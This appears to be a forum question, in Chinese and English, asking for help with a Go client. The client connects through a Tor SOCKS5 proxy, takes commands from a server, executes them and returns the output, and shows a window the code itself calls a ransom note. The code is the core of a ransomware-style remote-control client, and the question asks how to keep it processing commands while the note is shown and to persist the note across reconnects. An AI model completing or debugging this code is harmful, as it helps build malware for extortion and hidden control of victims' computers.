我正在try 修复此问题以正确工作,我希望客户端在后台initConnection()并接收命令并处理它们,同时显示消息窗口,该命令为"CloseGUI".
func initConnection() {
dialer, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", nil, proxy.Direct)
if err != nil {
log.Fatal("Failed to connect via SOCKS5 proxy:", err)
}
conn, err := dialer.Dial("tcp", "localHost")
if err != nil {
log.Fatal("Failed to connect to server:", err)
}
defer conn.Close()
_, err = conn.Write([]byte(fmt.Sprintf("Connected")))
if err != nil {
log.Println("Error sending information to server:", err)
return
}
fmt.Println("Connected to server.")
scanner := bufio.NewScanner(conn)
for scanner.Scan() {
command := scanner.Text()
commandAndParam := strings.Split(command, ",")
receivedCommand := commandAndParam[0]
switch receivedCommand {
case "OpenGUI":
DrawMessage()
//The problem is when calling DrawMessage() and the GUI shows the client not processing the command anymore until the GUI is closed which is a problem for me because I want to close the GUI by commands from the server
case "CloseGUI":
// Here I want to hide the GUI and set
MessageAllowed = false
}
// Execute the command
output, err := executeCommand(receivedCommand)
if err != nil {
log.Println("Error executing command:", err)
continue
}
// Send the command output to the server
_, err = conn.Write([]byte(output + "\n"))
if err != nil {
log.Println("Error sending output to server:", err)
break
}
}
if scanner.Err() != nil {
log.Println("Error reading input:", scanner.Err())
}
time.Sleep(100 * time.Millisecond)
}
图形用户界面功能代码:
func DrawMessage() {
// Create a new Fyne application
myApp := app.New()
// Create a new window
myWindow := myApp.NewWindow("Message From the Server!")
// Create the ransom note message
Note := widget.NewLabel("Hello World")
content := container.NewVBox(
Note,
)
// Set the content of the window
myWindow.SetContent(content)
// Show the window
myWindow.ShowAndRun()
}
这是主要的函数调用,其次,我想判断MessageAllowed bool是否显示了消息,我还希望即使在客户端关闭时也要保存它,这样当客户端重新连接时,如果允许的话,它会再次显示
func main() {
initConnection()
if src.MessageAllowed == true {
go DrawMessage()
}
}
因此,最终我希望客户端在显示消息时接收命令并在后台处理它,我想让客户端判断上次与服务器的会话是否允许该消息